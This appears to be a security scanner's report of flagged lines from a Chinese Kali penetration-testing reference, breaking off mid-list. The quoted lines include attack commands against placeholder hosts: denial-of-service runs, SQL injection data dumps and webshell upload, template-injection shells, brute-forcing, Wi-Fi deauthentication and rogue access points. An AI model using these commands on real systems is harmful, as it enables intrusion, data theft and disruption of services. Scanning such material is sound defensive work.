    slowhttptest -c 1000 -X -r 200 -l 300    -u http://target.com/ -o /tmp/slowread -g
  • Network accessline 62
    -u http://target.com/ -o /tmp/slowread -g
  • Network accessline 64
    # Range 头部攻击 slowhttptest -c 500 -R -r 100 -l 180 \   -u http://target.com/ -o /tmp/range -g
  • Network accessline 65
    slowhttptest -c 500 -R -r 100 -l 180    -u http://target.com/ -o /tmp/range -g
  • Network accessline 66
    -u http://target.com/ -o /tmp/range -g
  • Network accessline 68
    # 通过 HTTPS 的 Slowloris,高详细级别 slowhttptest -c 500 -H -i 10 -r 100 -l 240 \   -u https://target.com/ -v 4 -o /tmp/slowloris_https -g
  • Network accessline 69
    slowhttptest -c 500 -H -i 10 -r 100 -l 240    -u https://target.com/ -v 4 -o /tmp/slowloris_https -g
  • Network accessline 70
    -u https://target.com/ -v 4 -o /tmp/slowloris_https -g
  • Network accessline 72
    # 快速弹性检查——短时测试,适量连接 slowhttptest -c 200 -H -i 10 -r 50 -l 60 \   -u http://target.com/ -o /tmp/quick_test -g
  • Network accessline 73
    slowhttptest -c 200 -H -i 10 -r 50 -l 60    -u http://target.com/ -o /tmp/quick_test -g
  • Network accessline 74
    -u http://target.com/ -o /tmp/quick_test -g
  • Network accessline 89
    - [SlowHTTPTest GitHub](https://github.com/shekyan/slowhttptest)
  • Network accessline 90
    - [Kali Tools — slowhttptest](https://www.kali.org/tools/slowhttptest/)

kali-pentest-zh/references/web/tools/sqlmap.md

  • Network accessline 23
    # 从 GitHub 获取最新版 git clone https://github.com/sqlmapproject/sqlmap.git
  • Network accessline 24
    git clone https://github.com/sqlmapproject/sqlmap.git
  • Network accessline 147
    # 检测 URL 参数是否存在注入 sqlmap -u "http://target.com/page.php?id=1"
  • Network accessline 148
    sqlmap -u "http://target.com/page.php?id=1"
  • Network accessline 150
    # 自动批量模式,检测并列出数据库 sqlmap -u "http://target.com/page.php?id=1" --batch --dbs
  • Network accessline 151
    sqlmap -u "http://target.com/page.php?id=1" --batch --dbs
  • Network accessline 157
    # 指定 POST 数据 sqlmap -u "http://target.com/login.php" \
  • Network accessline 158
    sqlmap -u "http://target.com/login.php" \
  • Network accessline 162
    # 只测试指定参数(用 * 标记注入点) sqlmap -u "http://target.com/login.php" \
  • Network accessline 163
    sqlmap -u "http://target.com/login.php" \
  • Network accessline 180
    sqlmap -u "http://target.com/page.php" \
  • Network accessline 188
    # 使用随机 User-Agent + 常用 Tamper 脚本 sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 189
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 195
    # 常用 Tamper 脚本组合 sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 196
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 203
    # 获取当前数据库和用户 sqlmap -u "http://target.com/page.php?id=1" --current-db --current-user
  • Network accessline 204
    sqlmap -u "http://target.com/page.php?id=1" --current-db --current-user
  • Network accessline 206
    # 枚举指定数据库的所有表 sqlmap -u "http://target.com/page.php?id=1" -D webapp --tables
  • Network accessline 207
    sqlmap -u "http://target.com/page.php?id=1" -D webapp --tables
  • Network accessline 209
    # 导出指定表的数据 sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 210
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 213
    # 只导出特定列,且限制行数 sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 214
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 222
    # 检查是否为 DBA 权限 sqlmap -u "http://target.com/page.php?id=1" --is-dba
  • Network accessline 223
    sqlmap -u "http://target.com/page.php?id=1" --is-dba
  • Network accessline 225
    # 尝试获取 OS Shell(需要 DBA 权限) sqlmap -u "http://target.com/page.php?id=1" --os-shell
  • Network accessline 226
    sqlmap -u "http://target.com/page.php?id=1" --os-shell
  • Network accessline 228
    # 读取服务器文件 sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 229
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 232
    # 上传文件(Webshell) sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 233
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 241
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 242
    --proxy="http://127.0.0.1:8080" \
  • Network accessline 262
    - [sqlmap GitHub](https://github.com/sqlmapproject/sqlmap)
  • Network accessline 263
    - [sqlmap Wiki](https://github.com/sqlmapproject/sqlmap/wiki)
  • Network accessline 264
    - [sqlmap 官网](https://sqlmap.org/)

kali-pentest-zh/references/web/tools/sstimap.md

  • Dangerous shell operationline 15
    sudo apt install sstimap
  • Network accessline 56
    # 对 GET 参数进行基础 SSTI 检测 sstimap -u "http://example.com/search?name=*"
  • Network accessline 57
    sstimap -u "http://example.com/search?name=*"
  • Network accessline 59
    # POST 数据注入 sstimap -u "http://example.com/render" -d "template=*&user=admin"
  • Network accessline 60
    sstimap -u "http://example.com/render" -d "template=*&user=admin"
  • Network accessline 62
    # 检测到 SSTI 后执行操作系统命令 sstimap -u "http://example.com/search?name=*" -S "id"
  • Network accessline 63
    sstimap -u "http://example.com/search?name=*" -S "id"
  • Network accessline 65
    # 获取交互式 Shell sstimap -u "http://example.com/search?name=*" -s
  • Network accessline 66
    sstimap -u "http://example.com/search?name=*" -s
  • Network accessline 68
    # 从服务器下载文件 sstimap -u "http://example.com/search?name=*" -D "/etc/passwd" "./passwd.txt"
  • Network accessline 69
    sstimap -u "http://example.com/search?name=*" -D "/etc/passwd" "./passwd.txt"
  • Network accessline 71
    # 强制指定 Jinja2 引擎(跳过自动检测) sstimap -u "http://example.com/search?name=*" -e Jinja2
  • Network accessline 72
    sstimap -u "http://example.com/search?name=*" -e Jinja2
  • Network accessline 74
    # 携带认证 Cookie sstimap -u "http://example.com/profile?name=*" --cookie "session=abc123"
  • Network accessline 75
    sstimap -u "http://example.com/profile?name=*" --cookie "session=abc123"
  • Network accessline 77
    # 通过 Burp Suite 代理路由流量 sstimap -u "http://example.com/search?name=*" --proxy http://127.0.0.1:8080
  • Network accessline 78
    sstimap -u "http://example.com/search?name=*" --proxy http://127.0.0.1:8080
  • Network accessline 93
    - [SSTImap(GitHub)](https://github.com/vladko312/SSTImap)
  • Network accessline 94
    - [Kali sstimap](https://www.kali.org/tools/sstimap/)

kali-pentest-zh/references/web/tools/subjack.md

  • Dangerous shell operationline 15
    sudo apt install subjack
  • Network accessline 71
    - [Subjack GitHub](https://github.com/haccer/subjack)
  • Network accessline 72
    - [Kali Tools — subjack](https://www.kali.org/tools/subjack/)

kali-pentest-zh/references/web/tools/tinja.md

  • Dangerous shell operationline 15
    sudo apt install tinja -y
  • Network accessline 44
    # 测试 GET 参数的 SSTI tinja url "http://target.com/page?name=test"
  • Network accessline 45
    tinja url "http://target.com/page?name=test"
  • Network accessline 51
    # 测试 POST 参数(将数据包含在 URL 查询中或使用配置文件) tinja url "http://target.com/render?template=test&name=value"
  • Network accessline 52
    tinja url "http://target.com/render?template=test&name=value"
  • Network accessline 58
    # 使用认证 Cookie 扫描 tinja url "http://target.com/page?name=test" \
  • Network accessline 59
    tinja url "http://target.com/page?name=test" \
  • Network accessline 66
    # 通过 Burp Suite 代理路由 tinja url "http://target.com/page?name=test" \
  • Network accessline 67
    tinja url "http://target.com/page?name=test" \
  • Network accessline 68
    --proxyurl http://127.0.0.1:8080
  • Network accessline 74
    # 扫描多个 URL tinja url "http://target.com/page?name=test" "http://target.com/other?q=test"
  • Network accessline 75
    tinja url "http://target.com/page?name=test" "http://target.com/other?q=test"
  • Network accessline 84
    # 同时启用 SSTI 和 CSTI 扫描 tinja url "http://target.com/page?name=test" --csti
  • Network accessline 85
    tinja url "http://target.com/page?name=test" --csti
  • Network accessline 100
    - [TInjA GitHub](https://github.com/Hackmanit/TInjA)
  • Network accessline 101
    - [Kali Tools - tinja](https://www.kali.org/tools/tinja/)

kali-pentest-zh/references/web/tools/wapiti.md

  • Dangerous shell operationline 15
    sudo apt install wapiti
  • Network accessline 61
    # 全站扫描并生成 HTML 报告 wapiti -u http://target.com/ -f html -o /tmp/wapiti_report
  • Network accessline 62
    wapiti -u http://target.com/ -f html -o /tmp/wapiti_report
  • Network accessline 64
    # 仅扫描指定模块(XSS 和 SQL 注入) wapiti -u http://target.com/ -m xss,sql -o /tmp/wapiti_report
  • Network accessline 65
    wapiti -u http://target.com/ -m xss,sql -o /tmp/wapiti_report
  • Network accessline 67
    # 使用 basic 认证的扫描(使用 --auth-user/--auth-password;-a/--auth-cred 已弃用) wapiti -u http://target.com/ --auth-user admin --auth-password password123 --auth-method basic
  • Network accessline 68
    wapiti -u http://target.com/ --auth-user admin --auth-password password123 --auth-method basic
  • Network accessline 70
    # 限制扫描范围为单个目录 wapiti -u http://target.com/app/ --scope folder -o /tmp/wapiti_report
  • Network accessline 71
    wapiti -u http://target.com/app/ --scope folder -o /tmp/wapiti_report
  • Network accessline 73
    # 通过代理扫描并生成 JSON 报告 wapiti -u http://target.com/ -p http://127.0.0.1:8080 -f json -o /tmp/wapiti_report.json
  • Network accessline 74
    wapiti -u http://target.com/ -p http://127.0.0.1:8080 -f json -o /tmp/wapiti_report.json
  • Network accessline 76
    # 排除注销 URL 并限制爬取深度 wapiti -u http://target.com/ -x "http://target.com/logout" --max-links-per-page 500
  • Network accessline 77
    wapiti -u http://target.com/ -x "http://target.com/logout" --max-links-per-page 500
  • Network accessline 79
    # 清除之前的会话并以详细模式重新扫描 wapiti -u http://target.com/ --flush-session -v 2 -o /tmp/wapiti_report
  • Network accessline 80
    wapiti -u http://target.com/ --flush-session -v 2 -o /tmp/wapiti_report
  • Network accessline 97
    - [Wapiti 官方网站](https://wapiti-scanner.github.io/)
  • Network accessline 98
    - [Wapiti GitHub](https://github.com/wapiti-scanner/wapiti)
  • Network accessline 99
    - [Kali wapiti](https://www.kali.org/tools/wapiti/)

kali-pentest-zh/references/web/tools/websocat.md

  • Network accessline 15
    # 下载静态二进制(无需 Rust 工具链) curl -sL https://github.com/vi/websocat/releases/latest/download/websocat.x86_64-unknown-linux-musl \
  • Network accessline 16
    curl -sL https://github.com/vi/websocat/releases/latest/download/websocat.x86_64-unknown-linux-musl \
  • Network accessline 60
    - [websocat GitHub](https://github.com/vi/websocat)

kali-pentest-zh/references/web/tools/weevely.md

  • Dangerous shell operationline 15
    sudo apt install weevely
  • Network accessline 45
    # 连接到已部署的 agent weevely http://target.com/uploads/agent.php MyS3cretPass
  • Network accessline 46
    weevely http://target.com/uploads/agent.php MyS3cretPass
  • Network accessline 99
    - [Weevely3 GitHub](https://github.com/epinna/weevely3)
  • Network accessline 100
    - [Kali Tools — weevely](https://www.kali.org/tools/weevely/)

kali-pentest-zh/references/web/tools/wfuzz.md

  • Network accessline 119
    # 基础目录枚举,过滤 404 wfuzz -u http://target.com/FUZZ \
  • Network accessline 120
    wfuzz -u http://target.com/FUZZ \
  • Network accessline 124
    # 多线程目录枚举 wfuzz -u http://target.com/FUZZ \
  • Network accessline 125
    wfuzz -u http://target.com/FUZZ \
  • Network accessline 129
    # 枚举特定扩展名文件(配合 FUZ2Z) wfuzz -u http://target.com/FUZZ.FUZ2Z \
  • Network accessline 130
    wfuzz -u http://target.com/FUZZ.FUZ2Z \
  • Network accessline 139
    # 发现隐藏参数 wfuzz -u "http://target.com/page.php?FUZZ=test" \
  • Network accessline 140
    wfuzz -u "http://target.com/page.php?FUZZ=test" \
  • Network accessline 144
    # 参数值 fuzzing wfuzz -u "http://target.com/page.php?id=FUZZ" \
  • Network accessline 145
    wfuzz -u "http://target.com/page.php?id=FUZZ" \
  • Network accessline 153
    # 登录暴力破解 wfuzz -u http://target.com/login.php \
  • Network accessline 154
    wfuzz -u http://target.com/login.php \
  • Network accessline 162
    # 凭据暴力破解(双 FUZZ:用户名和密码同时测试) wfuzz -u http://target.com/login.php \
  • Network accessline 163
    wfuzz -u http://target.com/login.php \
  • Network accessline 174
    wfuzz -u http://target.com/page.php \
  • Network accessline 183
    # 测试 X-Forwarded-For IP 伪造 wfuzz -u http://target.com/admin \
  • Network accessline 184
    wfuzz -u http://target.com/admin \
  • Network accessline 189
    # 测试 Host Header 注入 wfuzz -u http://target.com/page.php \
  • Network accessline 190
    wfuzz -u http://target.com/page.php \
  • Network accessline 199
    # URL 编码 payload wfuzz -u "http://target.com/page.php?path=FUZZ" \
  • Network accessline 200
    wfuzz -u "http://target.com/page.php?path=FUZZ" \
  • Network accessline 204
    # 双重编码(链式:urlencode 应用两次,层层叠加) wfuzz -u "http://target.com/page.php?path=FUZZ" \
  • Network accessline 205
    wfuzz -u "http://target.com/page.php?path=FUZZ" \
  • Network accessline 209
    # 链式 URL 再 base64 编码(先 urlencode,再在其上 base64) wfuzz -u "http://target.com/page.php?data=FUZZ" \
  • Network accessline 210
    wfuzz -u "http://target.com/page.php?data=FUZZ" \
  • Network accessline 214
    # Base64 编码 wfuzz -u "http://target.com/page.php?data=FUZZ" \
  • Network accessline 215
    wfuzz -u "http://target.com/page.php?data=FUZZ" \
  • Network accessline 223
    # 基于 DNS 的子域名爆破:对 URL 中的主机名进行 FUZZ # Host 头自动派生,无需额外添加 -H wfuzz -u http://FUZZ.target.com \
  • Network accessline 224
    # Host 头自动派生,无需额外添加 -H wfuzz -u http://FUZZ.target.com \   -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  • Network accessline 225
    wfuzz -u http://FUZZ.target.com \
  • Network accessline 243
    - [wfuzz GitHub](https://github.com/xmendez/wfuzz)
  • Network accessline 244
    - [wfuzz 文档](https://wfuzz.readthedocs.io/)

kali-pentest-zh/references/web/tools/wpscan.md

  • Dangerous shell operationline 15
    sudo apt install wpscan
  • Network accessline 36
    | `--usernames LIST` | 密码攻击中使用的用户名列表 | | `--api-token TOKEN` | 用于显示漏洞数据的 WPScan API Token | | `--proxy URL` | 支持的协议取决于已安装的 cURL |
  • Network accessline 37
    | `--api-token TOKEN` | 用于显示漏洞数据的 WPScan API Token | | `--proxy URL` | 支持的协议取决于已安装的 cURL | | `-o FILE` | 输出文件 |
  • Network accessline 38
    | `--proxy URL` | 支持的协议取决于已安装的 cURL |
  • Network accessline 45
    # 基础扫描 wpscan --url http://target.com
  • Network accessline 46
    wpscan --url http://target.com
  • Network accessline 48
    # 枚举所有(用户+插件+主题) wpscan --url http://target.com --enumerate u,p,t
  • Network accessline 49
    wpscan --url http://target.com --enumerate u,p,t
  • Network accessline 51
    # 仅枚举有漏洞的插件(减少噪音) wpscan --url http://target.com --enumerate vp
  • Network accessline 52
    wpscan --url http://target.com --enumerate vp
  • Network accessline 54
    # 被动模式(减少请求量) wpscan --url http://target.com --enumerate p --detection-mode passive
  • Network accessline 55
    wpscan --url http://target.com --enumerate p --detection-mode passive
  • Network accessline 57
    # 密码爆破(需先枚举到用户名) wpscan --url http://target.com --usernames admin --passwords /usr/share/wordlists/rockyou.txt
  • Network accessline 58
    wpscan --url http://target.com --usernames admin --passwords /usr/share/wordlists/rockyou.txt
  • Network accessline 60
    # 使用 API Token(推荐,提升漏洞覆盖) wpscan --url http://target.com --api-token YOUR_TOKEN --enumerate vp
  • Network accessline 61
    wpscan --url http://target.com --api-token YOUR_TOKEN --enumerate vp
  • Network accessline 63
    # 输出 JSON 报告 wpscan --url http://target.com --enumerate u,vp --format json -o /tmp/wpscan_result.json
  • Network accessline 64
    wpscan --url http://target.com --enumerate u,vp --format json -o /tmp/wpscan_result.json
  • Network accessline 67
    ## 注意事项 1. 免费 API Token 每天 25 次查询,建议在 https://wpscan.com/register 注册。无 Token 时漏洞覆盖率大幅降低。
  • Network accessline 68
    1. 免费 API Token 每天 25 次查询,建议在 https://wpscan.com/register 注册。无 Token 时漏洞覆盖率大幅降低。
  • Network accessline 78
    - [WPScan GitHub](https://github.com/wpscanteam/wpscan)
  • Network accessline 79
    - [WPScan 漏洞数据库 & API](https://wpscan.com/)

kali-pentest-zh/references/web/tools/xsstrike.md

  • Dangerous shell operationline 15
    sudo apt install xsstrike
  • Network accessline 15
    sudo apt install xsstrike # 或从 GitHub 安装: git clone https://github.com/s0md3v/XSStrike.git
  • Network accessline 16
    # 或从 GitHub 安装: git clone https://github.com/s0md3v/XSStrike.git cd XSStrike && pip3 install -r requirements.txt
  • Network accessline 17
    git clone https://github.com/s0md3v/XSStrike.git
  • Network accessline 40
    # 测试单个 GET 参数 python3 xsstrike.py -u "http://example.com/search?q=test"
  • Network accessline 41
    python3 xsstrike.py -u "http://example.com/search?q=test"
  • Network accessline 43
    # POST 请求 python3 xsstrike.py -u "http://example.com/comment" --data "body=test&submit=1"
  • Network accessline 44
    python3 xsstrike.py -u "http://example.com/comment" --data "body=test&submit=1"
  • Network accessline 46
    # 爬取整站并测试所有参数 python3 xsstrike.py -u "http://example.com" --crawl -l 3
  • Network accessline 47
    python3 xsstrike.py -u "http://example.com" --crawl -l 3
  • Network accessline 49
    # 盲 XSS 测试(Payload 回调到外部服务器) python3 xsstrike.py -u "http://example.com/contact" --blind
  • Network accessline 50
    python3 xsstrike.py -u "http://example.com/contact" --blind
  • Network accessline 52
    # 通过 Burp Suite 代理路由(先在 core/config.py 中配置代理 URL) python3 xsstrike.py -u "http://example.com/search?q=test" --proxy
  • Network accessline 53
    python3 xsstrike.py -u "http://example.com/search?q=test" --proxy
  • Network accessline 55
    # 添加认证 Cookie python3 xsstrike.py -u "http://example.com/profile?id=1" --headers '{"Cookie": "session=abc123"}'
  • Network accessline 56
    python3 xsstrike.py -u "http://example.com/profile?id=1" --headers '{"Cookie": "session=abc123"}'
  • Network accessline 71
    - [XSStrike(GitHub)](https://github.com/s0md3v/XSStrike)
  • Network accessline 72
    - [Kali xsstrike](https://www.kali.org/tools/xsstrike/)

kali-pentest-zh/references/web/tools/zaproxy.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install zaproxy
  • Network accessline 59
    # 快速扫描并保存 HTML 输出 zaproxy -cmd \   -quickurl https://target.com \
  • Network accessline 60
    zaproxy -cmd    -quickurl https://target.com
  • Network accessline 61
    -quickurl https://target.com \
  • Network accessline 70
    # 确认 API 可访问 curl "http://127.0.0.1:8080/JSON/core/view/version/"
  • Network accessline 71
    curl "http://127.0.0.1:8080/JSON/core/view/version/"
  • Network accessline 84
    # 被动 baseline 扫描:适合 CI/CD 和生产安全检查 docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \   zap-baseline.py -t https://target.com -r zap-baseline.html -J zap-baseline.json
  • Network accessline 85
    docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable    zap-baseline.py -t https://target.com -r zap-baseline.html -J zap-baseline.json
  • Network accessline 86
    zap-baseline.py -t https://target.com -r zap-baseline.html -J zap-baseline.json
  • Network accessline 88
    # Full scan:包含主动扫描;仅在明确授权下使用 docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \   zap-full-scan.py -t https://target.com -r zap-full.html -J zap-full.json
  • Network accessline 89
    docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable    zap-full-scan.py -t https://target.com -r zap-full.html -J zap-full.json
  • Network accessline 90
    zap-full-scan.py -t https://target.com -r zap-full.html -J zap-full.json
  • Network accessline 92
    # 基于 OpenAPI 定义的 API 扫描 docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \   zap-api-scan.py -t https://target.com/openapi.json -f openapi -r zap-api.html -J zap-api.json
  • Network accessline 93
    docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable    zap-api-scan.py -t https://target.com/openapi.json -f openapi -r zap-api.html -J zap-api.json
  • Network accessline 94
    zap-api-scan.py -t https://target.com/openapi.json -f openapi -r zap-api.html -J zap-api.json
  • Network accessline 96
    # 针对 GraphQL 端点的 API 扫描 docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \   zap-api-scan.py -t https://target.com/graphql -f graphql -r zap-graphql.html -J zap-graphql.json
  • Network accessline 97
    docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable    zap-api-scan.py -t https://target.com/graphql -f graphql -r zap-graphql.html -J zap-graphql.json
  • Network accessline 98
    zap-api-scan.py -t https://target.com/graphql -f graphql -r zap-graphql.html -J zap-graphql.json
  • Network accessline 110
    - name: target       urls:         - https://target.com
  • Network accessline 111
    urls:         - https://target.com jobs:
  • Network accessline 112
    - https://target.com
  • Network accessline 141
    - [ZAP Command Line](https://www.zaproxy.org/docs/desktop/cmdline/)
  • Network accessline 142
    - [ZAP Docker User Guide](https://www.zaproxy.org/docs/docker/about/)
  • Network accessline 143
    - [ZAP Baseline Scan](https://www.zaproxy.org/docs/docker/baseline-scan/)
  • Network accessline 144
    - [ZAP Full Scan](https://www.zaproxy.org/docs/docker/full-scan/)
  • Network accessline 145
    - [ZAP API Scan](https://www.zaproxy.org/docs/docker/api-scan/)
  • Network accessline 146
    - [ZAP Kali Package](https://www.kali.org/tools/zaproxy/)

kali-pentest-zh/references/wireless/README.md

  • Network accessline 196
    - [Aircrack-ng 文档](https://www.aircrack-ng.org/documentation.html)
  • Network accessline 197
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest-zh/references/wireless/tools/airbase-ng.md

  • Dangerous shell operationline 15
    sudo apt install aircrack-ng
  • Dangerous shell operationline 45
    sudo airbase-ng -e "FreeWiFi" -c 6 wlan0mon
  • Dangerous shell operationline 50
    sudo ifconfig at0 192.168.99.1 netmask 255.255.255.0 up
  • Dangerous shell operationline 57
    sudo airbase-ng -e "TargetWiFi" -c 6 wlan0mon &
  • Dangerous shell operationline 60
    sudo ifconfig at0 192.168.99.1 netmask 255.255.255.0 up
  • Dangerous shell operationline 72
    sudo dnsmasq -C /tmp/dnsmasq.conf
  • Dangerous shell operationline 75
    sudo sysctl net.ipv4.ip_forward=1
  • Dangerous shell operationline 76
    sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  • Dangerous shell operationline 83
    sudo airbase-ng -P -c 6 wlan0mon
  • Dangerous shell operationline 86
    sudo airbase-ng -P -e "HotSpot" -c 6 wlan0mon
  • Network accessline 100
    - [airbase-ng 文档](https://www.aircrack-ng.org/doku.php?id=airbase-ng)
  • Network accessline 101
    - [Aircrack-ng 文档](https://www.aircrack-ng.org/documentation.html)

kali-pentest-zh/references/wireless/tools/aircrack-ng.md

  • Dangerous shell operationline 15
    sudo apt install aircrack-ng
  • Dangerous shell operationline 106
    sudo airmon-ng check kill
  • Dangerous shell operationline 107
    sudo airmon-ng start wlan0
  • Dangerous shell operationline 110
    sudo airodump-ng wlan0mon
  • Dangerous shell operationline 114
    sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/target wlan0mon
  • Dangerous shell operationline 117
    sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
  • Network accessline 135
    - [aircrack-ng 文档](https://www.aircrack-ng.org/doku.php?id=aircrack-ng)
  • Network accessline 136
    - [Aircrack-ng 文档](https://www.aircrack-ng.org/documentation.html)
  • Network accessline 137
    - [aircrack-ng (GitHub)](https://github.com/aircrack-ng/aircrack-ng)

kali-pentest-zh/references/wireless/tools/aireplay-ng.md

  • Dangerous shell operationline 15
    sudo apt install aircrack-ng
  • Dangerous shell operationline 18
    sudo aireplay-ng --test wlan0mon
  • Dangerous shell operationline 69
    sudo aireplay-ng --test wlan0mon
  • Dangerous shell operationline 72
    sudo aireplay-ng --test -b AA:BB:CC:DD:EE:FF wlan0mon
  • Dangerous shell operationline 79
    sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
  • Dangerous shell operationline 82
    sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
  • Dangerous shell operationline 85
    sudo aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
  • Dangerous shell operationline 92
    sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/handshake wlan0mon
  • Dangerous shell operationline 95
    sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
  • Dangerous shell operationline 105
    sudo aireplay-ng -1 0 -e TargetSSID -a AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon
  • Dangerous shell operationline 110
    sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon
  • Dangerous shell operationline 117
    sudo aireplay-ng -1 0 -e "MyNetwork" -a AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon
  • Dangerous shell operationline 120
    sudo aireplay-ng -1 30 -e "MyNetwork" -a AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon
  • Network accessline 136
    - [aireplay-ng 文档](https://www.aircrack-ng.org/doku.php?id=aireplay-ng)
  • Network accessline 137
    - [Aircrack-ng 文档](https://www.aircrack-ng.org/documentation.html)

kali-pentest-zh/references/wireless/tools/airgeddon.md

  • Dangerous shell operationline 15
    sudo apt install airgeddon
  • Network accessline 66
    - [airgeddon(GitHub)](https://github.com/v1s1t0r1sh3r3/airgeddon)
  • Network accessline 67
    - [Kali airgeddon](https://www.kali.org/tools/airgeddon/)

kali-pentest-zh/references/wireless/tools/airmon-ng.md

  • Dangerous shell operationline 15
    sudo apt install aircrack-ng
  • Dangerous shell operationline 38
    sudo airmon-ng check
  • Dangerous shell operationline 41
    sudo airmon-ng check kill
  • Dangerous shell operationline 44
    sudo airmon-ng start wlan0
  • Dangerous shell operationline 53
    sudo airmon-ng start wlan0 6
  • Dangerous shell operationline 56
    sudo airmon-ng start wlan0 36
  • Dangerous shell operationline 63
    sudo airmon-ng stop wlan0mon
  • Dangerous shell operationline 66
    sudo systemctl restart NetworkManager
  • Dangerous shell operationline 73
    sudo airmon-ng check kill
  • Dangerous shell operationline 76
    sudo airmon-ng start wlan0
  • Dangerous shell operationline 79
    sudo airodump-ng wlan0mon
  • Dangerous shell operationline 82
    sudo airmon-ng stop wlan0mon
  • Dangerous shell operationline 83
    sudo systemctl restart NetworkManager
  • Network accessline 99
    - [airmon-ng 文档](https://www.aircrack-ng.org/doku.php?id=airmon-ng)
  • Network accessline 100
    - [Aircrack-ng 文档](https://www.aircrack-ng.org/documentation.html)

kali-pentest-zh/references/wireless/tools/airodump-ng.md

  • Dangerous shell operationline 15
    sudo apt install aircrack-ng
  • Dangerous shell operationline 75
    sudo airodump-ng wlan0mon
  • Dangerous shell operationline 78
    sudo airodump-ng --band a wlan0mon
  • Dangerous shell operationline 81
    sudo airodump-ng --band abg wlan0mon
  • Dangerous shell operationline 89
    sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/capture wlan0mon
  • Dangerous shell operationline 102
    sudo airodump-ng -a wlan0mon
  • Dangerous shell operationline 105
    sudo airodump-ng --wps wlan0mon
  • Dangerous shell operationline 112
    sudo airodump-ng --manufacturer wlan0mon
  • Dangerous shell operationline 119
    sudo airodump-ng -r /tmp/capture-01.cap
  • Network accessline 135
    - [airodump-ng 文档](https://www.aircrack-ng.org/doku.php?id=airodump-ng)
  • Network accessline 136
    - [Aircrack-ng 文档](https://www.aircrack-ng.org/documentation.html)

kali-pentest-zh/references/wireless/tools/asleap.md

  • Dangerous shell operationline 22
    sudo apt install asleap
  • Network accessline 24
    # 或从源码编译 git clone https://github.com/joswr1ght/asleap.git
  • Network accessline 25
    git clone https://github.com/joswr1ght/asleap.git
  • Network accessline 115
    - [asleap (GitHub)](https://github.com/joswr1ght/asleap)
  • Network accessline 116
    - [Kali Tools - asleap](https://www.kali.org/tools/asleap/)

kali-pentest-zh/references/wireless/tools/blueranger.md

  • Network accessline 43
    - [Kali blueranger](https://www.kali.org/tools/blueranger/)

kali-pentest-zh/references/wireless/tools/bluesnarfer.md

  • Network accessline 58
    - [Kali bluesnarfer](https://www.kali.org/tools/bluesnarfer/)

kali-pentest-zh/references/wireless/tools/btscanner.md

  • Network accessline 47
    - [Kali btscanner](https://www.kali.org/tools/btscanner/)

kali-pentest-zh/references/wireless/tools/bully.md

  • Dangerous shell operationline 15
    sudo apt install bully
  • Network accessline 78
    - [bully (GitHub)](https://github.com/kimocoder/bully)
  • Network accessline 79
    - [Kali bully](https://www.kali.org/tools/bully/)

kali-pentest-zh/references/wireless/tools/cowpatty.md

  • Dangerous shell operationline 15
    sudo apt install cowpatty
  • Network accessline 57
    - [cowpatty (GitHub)](https://github.com/joswr1ght/cowpatty)
  • Network accessline 58
    - [Kali cowpatty](https://www.kali.org/tools/cowpatty/)

kali-pentest-zh/references/wireless/tools/crackle.md

  • Network accessline 46
    - [crackle GitHub](https://github.com/mikeryan/crackle)
  • Network accessline 47
    - [Kali crackle](https://www.kali.org/tools/crackle/)

kali-pentest-zh/references/wireless/tools/eaphammer.md

  • Dangerous shell operationline 15
    sudo apt install eaphammer
  • Network accessline 17
    git clone https://github.com/s0lst1c3/eaphammer.git
  • Dangerous shell operationline 19
    sudo ./kali-setup
  • Dangerous shell operationline 45
    sudo eaphammer --interface wlan0 --essid "CorpWiFi" --channel 6 \
  • Dangerous shell operationline 53
    sudo eaphammer --interface wlan0 --essid "CorpWiFi" --channel 6 \
  • Dangerous shell operationline 61
    sudo eaphammer --interface wlan0 --essid "CorpWiFi" --channel 6 \
  • Dangerous shell operationline 69
    sudo eaphammer --interface wlan0 --auth wpa-eap --creds --known-beacons
  • Dangerous shell operationline 72
